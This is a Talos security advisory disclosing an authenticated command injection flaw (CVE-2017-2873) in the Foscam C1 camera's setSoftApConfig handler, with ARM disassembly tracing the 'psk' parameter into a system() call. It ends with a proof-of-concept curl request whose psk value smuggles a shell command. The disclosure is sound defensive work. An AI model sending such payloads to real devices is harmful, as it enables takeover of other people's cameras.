Talos Vulnerability Report

TALOS-2017-0380

Foscam IP Video Camera CGIProxy.fcgi SoftAP Configuration Command Injection Vulnerability

November 13, 2017
CVE Number

CVE-2017-2873

Summary

An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters during the SoftAP configuration resulting in command injection. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam. Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device allows for configuring a SoftAP to enable users to configure the camera for the first time via WiFi. This feature is configurable using the web interface. HTTP requests are first handled by the "CGIProxy.fcgi" process, that will dispatch messages to the interested component. When handling the command "setSoftApConfig", the function sub_35FCC in the "webService" binary will be called. A user account with privilege level 2 (administrator) is needed to invoke this command.

The function extracts the parameters from the query [1], then it ensures that the "psk" parameter is at least 7 characters long [2] and that it doesn't contain "\n" or "\r" characters [3]. Finally the request is forwarded to another component, using the message code "0x607F" [4].

```
.text:00035FCC             sub_35FCC
.text:00035FCC
.text:00035FCC F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
...
.text:00036024 A0 11 9F E5      LDR     R1, =aCallbackjson                   ; "callbackJson"
.text:00036028 06 20 A0 E1      MOV     R2, R6
.text:0003602C 01 3B 83 E2      ADD     R3, R3, #0x400
.text:00036030 04 00 A0 E1      MOV     R0, R4
.text:00036034 7F CA FF EB      BL      extract_param                        ; [1]
.text:00036038 4B 5E 8D E2      ADD     R5, SP, #0x4D8+var_28
.text:0003603C 8C 11 9F E5      LDR     R1, =aSsid                           ; "ssid"
.text:00036040 07 20 A0 E1      MOV     R2, R7
.text:00036044 40 30 A0 E3      MOV     R3, #0x40
.text:00036048 04 00 A0 E1      MOV     R0, R4
.text:0003604C 4A AE 8D E2      ADD     R10, SP, #0x4D8+var_38
.text:00036050 78 CA FF EB      BL      extract_param                        ; [1]
.text:00036054 08 A0 8A E2      ADD     R10, R10, #8
.text:00036058 74 11 9F E5      LDR     R1, =aAuthmode                       ; "authMode"
.text:0003605C 05 20 A0 E1      MOV     R2, R5
.text:00036060 08 30 A0 E3      MOV     R3, #8
.text:00036064 04 00 A0 E1      MOV     R0, R4
.text:00036068 72 CA FF EB      BL      extract_param                        ; [1]
.text:0003606C 48 80 87 E2      ADD     R8, R7, #0x48
.text:00036070 60 11 9F E5      LDR     R1, =aEncrypttype                    ; "encryptType"
.text:00036074 0A 20 A0 E1      MOV     R2, R10
.text:00036078 08 30 A0 E3      MOV     R3, #8
.text:0003607C 04 00 A0 E1      MOV     R0, R4
.text:00036080 6C CA FF EB      BL      extract_param                        ; [1]
.text:00036084 50 11 9F E5      LDR     R1, =aPsk                            ; "psk"
.text:00036088 08 20 A0 E1      MOV     R2, R8
.text:0003608C 40 30 A0 E3      MOV     R3, #0x40
.text:00036090 04 00 A0 E1      MOV     R0, R4
.text:00036094 67 CA FF EB      BL      extract_param                        ; [1]
.text:00036098 05 00 A0 E1      MOV     R0, R5
.text:0003609C 21 75 FF EB      BL      atoi
.text:000360A0 60 04 8D E5      STR     R0, [SP,#0x4D8+var_78]
.text:000360A4 0A 00 A0 E1      MOV     R0, R10
.text:000360A8 1E 75 FF EB      BL      atoi
.text:000360AC 64 04 8D E5      STR     R0, [SP,#0x4D8+var_74]
.text:000360B0 07 00 A0 E1      MOV     R0, R7
.text:000360B4 75 72 FF EB      BL      strlen
.text:000360B8 5C 30 A0 E3      MOV     R3, #0x5C
.text:000360BC 00 30 8D E5      STR     R3, [SP,#0x4D8+var_4D8]
.text:000360C0 0D 20 A0 E3      MOV     R2, #0xD
.text:000360C4 0A 30 A0 E3      MOV     R3, #0xA
.text:000360C8 00 10 A0 E1      MOV     R1, R0
.text:000360CC 07 00 A0 E1      MOV     R0, R7
.text:000360D0 1D 75 FF EB      BL      _Z14IsContainCharsPKcihhh
.text:000360D4 00 00 50 E3      CMP     R0, #0
.text:000360D8 09 00 00 1A      BNE     loc_36104
.text:000360DC 08 00 A0 E1      MOV     R0, R8
.text:000360E0 6A 72 FF EB      BL      strlen
.text:000360E4 0A 30 A0 E3      MOV     R3, #0xA
.text:000360E8 0D 20 A0 E3      MOV     R2, #0xD
.text:000360EC 00 30 8D E5      STR     R3, [SP,#0x4D8+var_4D8]
.text:000360F0 00 10 A0 E1      MOV     R1, R0
.text:000360F4 08 00 A0 E1      MOV     R0, R8
.text:000360F8 13 75 FF EB      BL      _Z14IsContainCharsPKcihhh            ; [3]
.text:000360FC 00 50 50 E2      SUBS    R5, R0, #0
.text:00036100 28 00 00 0A      BEQ     loc_361A8
...
.text:00036118             loc_36118
.text:00036118 88 30 A0 E3      MOV     R3, #0x88
.text:0003611C 00 30 8D E5      STR     R3, [SP,#0x4D8+var_4D8]
.text:00036120 BC 10 9F E5      LDR     R1, =0x607F
.text:00036124 05 20 A0 E1      MOV     R2, R5
.text:00036128 07 30 A0 E1      MOV     R3, R7
.text:0003612C B4 00 9F E5      LDR     R0, =unk_A2FCC
.text:00036130 04 50 8D E5      STR     R5, [SP,#0x4D8+var_4D4]
.text:00036134 08 50 8D E5      STR     R5, [SP,#0x4D8+var_4D0]
.text:00036138 0C 50 8D E5      STR     R5, [SP,#0x4D8+var_4CC]
.text:0003613C D1 72 FF EB      BL      _ZN10CMsgClient7sendMsgEicPKciiiPc   ; [4]
...
.text:000361A8             loc_361A8
.text:000361A8 08 00 A0 E1      MOV     R0, R8
.text:000361AC 37 72 FF EB      BL      strlen                               ; [2]
.text:000361B0 07 00 50 E3      CMP     R0, #7
.text:000361B4 E6 FF FF 9A      BLS     loc_36154
.text:000361B8 D6 FF FF EA      B       loc_36118
```

Message code "0x607F" is handled by the function OnDevMngMsgSetSoftApConfig in the "devMng" binary. This function copies a fixed SSID and the user-supplied PSK into the "CNetworkService" object [5]. Then at [6] it calls another function that modifies the configuration file of the SoftAP.

```
.text:00019FB0             sub_19FB0
.text:00019FB0
.text:00019FB0 F0 40 2D E9      STMFD   SP!, {R4-R7,LR}
.text:00019FB4 74 30 9F E5      LDR     R3, =0x2DB
.text:00019FB8 94 D0 4D E2      SUB     SP, SP, #0x94
.text:00019FBC 00 30 8D E5      STR     R3, [SP,#0xA8+var_A8]
.text:00019FC0 6C 50 9F E5      LDR     R5, =dword_87638
.text:00019FC4 6C 30 9F E5      LDR     R3, =aOndevmngmsg_24       ; "OnDevMngMsgSetSoftApConfig"
...
.text:00019FE8 48 70 84 E2      ADD     R7, R4, #0x48
.text:00019FEC 04 10 A0 E1      MOV     R1, R4
.text:00019FF0 05 00 A0 E1      MOV     R0, R5
.text:00019FF4 F7 83 00 EB      BL      sub_3AFD8 ; [5]
...
.text:0001A024 C6 8F 00 EB      BL      sub_3DF44 ; [6]
.text:0001A028 94 D0 8D E2      ADD     SP, SP, #0x94
.text:0001A02C F0 80 BD E8      LDMFD   SP!, {R4-R7,PC}
```

sub_3DF44 copies again SSID and PSK and calls sub_4519C which is in charge of actually configuring the SoftAP. This function first updates the file "/mnt/mtd/app/config/SoftApConfig.xml" at [7] with the new SoftAP parameters, then it proceeds to update "/mnt/mtd/app/etc/RT2870AP.dat". This is done using the command sed via a call to system [8].

```
.text:0004519C             sub_4519C
.text:0004519C
.text:0004519C 30 40 2D E9      STMFD   SP!, {R4,R5,LR}
.text:000451A0 20 10 A0 E3      MOV     R1, #0x20
.text:000451A4 75 DF 4D E2      SUB     SP, SP, #0x1D4
.text:000451A8 00 40 A0 E1      MOV     R4, R0
.text:000451AC 10 00 A0 E3      MOV     R0, #0x10
.text:000451B0 E7 5B FF EB      BL      _ZStorSt13_Ios_OpenmodeS_
.text:000451B4 04 50 8D E2      ADD     R5, SP, #0x1E0+var_1DC
.text:000451B8 00 10 A0 E1      MOV     R1, R0
.text:000451BC 05 00 A0 E1      MOV     R0, R5
.text:000451C0 B4 FF FF EB      BL      sub_45098                ; [7]
...
.text:00045224 05 00 A0 E1      MOV     R0, R5
.text:00045228 E8 10 9F E5      LDR     R1, =aSedISSsid_Ss_0     ; "sed -i \"s/^SSID.*$/SSID=\"%s\"/g\" %s"
.text:0004522C 00 20 94 E5      LDR     R2, [R4]
.text:00045230 E4 30 9F E5      LDR     R3, =aMntMtdAppEtcRt     ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:00045234 B3 36 FF EB      BL      sprintf
.text:00045238 05 00 A0 E1      MOV     R0, R5
.text:0004523C 20 34 FF EB      BL      system                   ; [8]
.text:00045240 04 20 94 E5      LDR     R2, [R4,#4]
.text:00045244 D4 30 9F E5      LDR     R3, =off_87060
.text:00045248 46 5F 8D E2      ADD     R5, SP, #0x1E0+s
.text:0004524C 02 21 93 E7      LDR     R2, [R3,R2,LSL#2]
.text:00045250 05 00 A0 E1      MOV     R0, R5
.text:00045254 C8 10 9F E5      LDR     R1, =aSedISAuthmode_     ; "sed -i \"s/^AuthMode.*$/AuthMode=%s/g\""...
.text:00045258 BC 30 9F E5      LDR     R3, =aMntMtdAppEtcRt     ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:0004525C A9 36 FF EB      BL      sprintf
.text:00045260 05 00 A0 E1      MOV     R0, R5
.text:00045264 16 34 FF EB      BL      system                   ; [8]
.text:00045268 08 20 94 E5      LDR     R2, [R4,#8]
.text:0004526C B4 30 9F E5      LDR     R3, =off_8704C
.text:00045270 46 5F 8D E2      ADD     R5, SP, #0x1E0+s
.text:00045274 02 21 93 E7      LDR     R2, [R3,R2,LSL#2]
.text:00045278 05 00 A0 E1      MOV     R0, R5
.text:0004527C A8 10 9F E5      LDR     R1, =aSedISEncryptyp     ; "sed -i \"s/^EncrypType.*$/EncrypType=%s"...
.text:00045280 94 30 9F E5      LDR     R3, =aMntMtdAppEtcRt     ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:00045284 9F 36 FF EB      BL      sprintf
.text:00045288 05 00 A0 E1      MOV     R0, R5
.text:0004528C 0C 34 FF EB      BL      system                   ; [8]
.text:00045290 46 5F 8D E2      ADD     R5, SP, #0x1E0+s
.text:00045294 05 00 A0 E1      MOV     R0, R5
.text:00045298 90 10 9F E5      LDR     R1, =aSedISWpapsk_Wp     ; "sed -i \"s/^WPAPSK.*$/WPAPSK=\"%s\"/g\""...
.text:0004529C 0C 20 94 E5      LDR     R2, [R4,#0xC]            ; [9]
.text:000452A0 74 30 9F E5      LDR     R3, =aMntMtdAppEtcRt     ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:000452A4 97 36 FF EB      BL      sprintf
.text:000452A8 05 00 A0 E1      MOV     R0, R5
.text:000452AC 04 34 FF EB      BL      system                   ; [8]
.text:000452B0 46 4F 8D E2      ADD     R4, SP, #0x1E0+s
.text:000452B4 04 00 A0 E1      MOV     R0, R4
.text:000452B8 74 10 9F E5      LDR     R1, =aCpSS               ; "cp %s %s"
.text:000452BC 58 20 9F E5      LDR     R2, =aMntMtdAppEtcRt     ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:000452C0 70 30 9F E5      LDR     R3, =aEtcWirelessRt2     ; "/etc/Wireless/RT2870AP/RT2870AP.dat"
.text:000452C4 8F 36 FF EB      BL      sprintf
.text:000452C8 04 00 A0 E1      MOV     R0, R4
.text:000452CC FC 33 FF EB      BL      system
```

Since the PSK parameter at [9] is controlled by the user, an attacker could exploit this bug to inject arbitrary shell commands.

Exploit Proof-of-Concept

This vulnerability is reachable by the "setSoftApConfig" command and requires a valid user account with administrator privileges. The following proof of concept shows how to execute an arbitrary command.

```
$ sUsr="admin"
$ sPwd=""
$ sCmd=";id>/tmp/www/injected;"
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=setSoftApConfig&usr=${sUsr}&pwd=${sPwd}&psk=${sCmd}"
```

Timeline

2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.